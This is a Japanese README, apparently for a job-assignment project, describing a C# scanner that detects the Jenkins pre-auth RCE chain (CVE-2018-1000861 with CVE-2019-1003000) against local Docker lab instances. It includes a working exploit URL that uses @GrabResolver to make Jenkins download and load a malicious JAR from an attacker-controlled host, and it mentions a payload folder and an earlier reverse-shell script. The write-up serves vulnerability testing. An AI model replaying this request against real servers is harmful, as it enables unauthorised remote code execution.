
JenkinsサーバーがCVE-2019-1003000(認証前RCEのためにCVE-2018-1000861とチェーンされる)で発見されたRCE脆弱性に対して脆弱かどうかを検出するC#モジュール
脆弱性CVE-2018-1000861とCVE-2019-1003000を連鎖させて、Jenkins CIにおけるPre-Auth RCEをテストするモジュールを作成しました。当初はユーザー名、パスワード、ジョブ名を使って脆弱性を検出しようと試みましたが、2つの脆弱性を連鎖させる方法の方がより現実的で興味深いと考えました。
Windows、Linux、macOSのマシンにVisual Studioまたは.NET Coreフレームワークがインストールされていること。
docker pull jenkins/jenkins:2.121mvDir.sh を実行します。
./mvDir.sh として実行
chmod +x mvDir.sh を実行してください。それでもうまくいかない場合は、bash mvDir.sh として実行できます。./run_vuln_jenkins.sh を実行します。
http://localhost:8080)。./run_updated_jenkins.sh または bash run_updated_jenkins.sh を実行すると、セキュアで最新のJenkinsサーバーが http://localhost:8000 で起動し、これに対してモジュールを実行すると、CVE-2018-1000861とCVE-2019-1003000の連鎖に対して脆弱でなく安全であることが示されます。dotnet build を呼び出してください。モジュールを実行するには:
当初の計画は、解決策に取り組むための良い枠組みでしたが、実際に進めるにつれて、多くの作業が必要以上に複雑になっていることに気づきました。当初はRCEを証明するために、ホストマシンにリバースシェルを起動するbashスクリプトを作成しました。しかし、この課題の目標は脆弱性が存在することを証明することでした。この場合、Jenkinsバージョン2.121.2で、以下のプラグインを使用してRCEが起動できることを証明することでした:Pipeline: Declarative Plugin 1.3.4、Pipeline: Declarative Extension Points API 1.3.4、Pipeline: Groovy Plugin 2.61、Script Security Plugin 1.49。
実際にリバースシェルを作成して任意のコマンドを実行できることを示す必要はありませんでした。そのため、Windowsと.nixベースのオペレーティングシステムの両方で検出が容易になります。GETリクエストを行った後、ページは成功を示すステータスを返すか、エラーメッセージを出力することがわかりました。しかし、成功ステータスが誤検出でないことを確認するために、ホスト上でpython -m SimpleHTTPServer 80を使用してWebサーバーをセットアップし、指定された悪意のあるJARファイル(payloadフォルダにあります)へのカスタムGETリクエストを発行したところ、GETリクエストが200ステータスコードで、ローカルマシン上のjarファイルへの正しいパスを返すことが確認でき、脆弱性が存在することが証明されました。以下はGETリクエストと対応するレスポンスのサンプルです。異なるファイルパス(tw/ および www/)にはそれぞれ悪意のあるjarが含まれており、リクエストはそれらを見つけるために異なるパスを辿っています。
http://localhost:8080/securityRealm/user/Naruto/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root=%27http:[ip_address]/%27)%0a@Grab(group=%27vw.orange%27,%20module=%27poc%27,%20version=%271%27)%0aimport%20NixExploit;

dotnet run -- -u http://localhost:8080 -ip <host_ip_address>http:// を忘れないことが重要です。忘れるとプログラムがHTTP例外をスローし、再度実行する必要があります。パラメータオプション
| Shortened | Longer | Description |
|---|---|---|
| -uname | --username | Jenkinsユーザー名 |
| -p | --password | Jenkinsユーザーパスワード |
| -u | --url | ターゲットURL |
| -ip | --ip address | IPアドレス |
| -v | --verbose | 詳細出力 |
-p、-unameはまだ実装されていません。これは、Pre-Auth RCEを検出するためだけにモジュールを作成したためです。Detectifyにとってはより現実的だと考えました。同社のスキャナーは単にターゲットドメインを指定するだけであり、パスワードやユーザー名などのカスタムパラメータを持たないでしょう(たとえセキュリティ改善を助けるためであっても、別の会社がそれを提供するのは安全ではないため)。